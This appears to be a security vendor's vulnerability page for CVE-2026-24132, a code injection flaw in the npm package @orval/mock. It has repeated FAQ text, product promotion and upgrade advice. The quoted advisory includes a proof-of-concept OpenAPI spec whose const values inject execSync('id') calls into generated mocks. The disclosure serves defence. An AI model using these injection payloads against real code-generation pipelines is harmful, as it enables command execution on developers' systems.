What is CVE-2026-24132?

CVE-2026-24132 is a high-severity command injection vulnerability in @orval/mock (npm), affecting versions < 7.20.0. It is fixed in 7.20.0, 8.0.3. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.

Which versions of @orval/mock are affected by CVE-2026-24132?

@orval/mock (npm) versions < 7.20.0 is affected.

Is there a fix for CVE-2026-24132?

Yes. CVE-2026-24132 is fixed in 7.20.0, 8.0.3. Upgrade to this version or later.

Is CVE-2026-24132 exploitable, and should I be worried?

Whether CVE-2026-24132 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

What actually determines whether CVE-2026-24132 is exploitable, and how bad it is?

Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

How do I fix CVE-2026-24132?

Upgrade: @orval/mock to 7.20.0 or later, @orval/mock to 8.0.3 or later.

CVE-2026-24132 in @orval/mock

Q: Which versions of @orval/mock are affected by CVE-2026-24132?

@orval/mock (npm) versions < 7.20.0 is affected.

Q: Is there a fix for CVE-2026-24132?

Yes. CVE-2026-24132 is fixed in 7.20.0, 8.0.3. Upgrade to this version or later.

Q: Is CVE-2026-24132 exploitable, and should I be worried?

Whether CVE-2026-24132 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

Q: What actually determines whether CVE-2026-24132 is exploitable, and how bad it is?

Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

Q: How do I fix CVE-2026-24132?

Upgrade: @orval/mock to 7.20.0 or later, @orval/mock to 8.0.3 or later.

Summary

Orval Mock Generation Code Injection via const

I am reporting a code injection vulnerability in Orval’s mock generation pipeline affecting @orval/mock in both the 7.x and 8.x series. This issue is related in impact to the previously reported enum x-enumDescriptions (https://github.com/advisories/GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core.

The vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. I have confirmed that this occurs on [email protected] and [email protected] with mock: true, and that the generated mocks contain executable payloads such as require('child_process').execSync('id') in the output TypeScript.

openapi: 3.1.0
info:
  title: Mock Const Injection PoC
  version: 1.0.0
paths:
  /test:
    get:
      operationId: getTests
      responses:
        '200':
          description: OK
          content:
            application/json:
              schema:
                $ref: '#/components/schemas/Tests'
components:
  schemas:
    Tests:
      type: object
      properties:
        EvilString:
          type: string
          const: "'); require('child_process').execSync('id'); //"
        EvilNumber:
          type: number
          const: "0); require('child_process').execSync('id'); //"
        SafeEnum:
          type: string
          enum: ["test"]

Impact

Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.

Affected versions

@orval/mock (< 7.20.0) @orval/mock (>= 8.0.0-rc.0, < 8.0.3)

Security releases

@orval/mock → 7.20.0 (npm) @orval/mock → 8.0.3 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environment New to Kodem? Get a demo →

Remediation advice

Upgrade the following packages to resolve this vulnerability:

@orval/mock to 7.20.0 or later; @orval/mock to 8.0.3 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

What is CVE-2026-24132? CVE-2026-24132 is a high-severity command injection vulnerability in @orval/mock (npm), affecting versions < 7.20.0. It is fixed in 7.20.0, 8.0.3. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.
Which versions of @orval/mock are affected by CVE-2026-24132? @orval/mock (npm) versions < 7.20.0 is affected.
Is there a fix for CVE-2026-24132? Yes. CVE-2026-24132 is fixed in 7.20.0, 8.0.3. Upgrade to this version or later.
Is CVE-2026-24132 exploitable, and should I be worried? Whether CVE-2026-24132 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
What actually determines whether CVE-2026-24132 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
How do I fix CVE-2026-24132?
- Upgrade @orval/mock to 7.20.0 or later
- Upgrade @orval/mock to 8.0.3 or later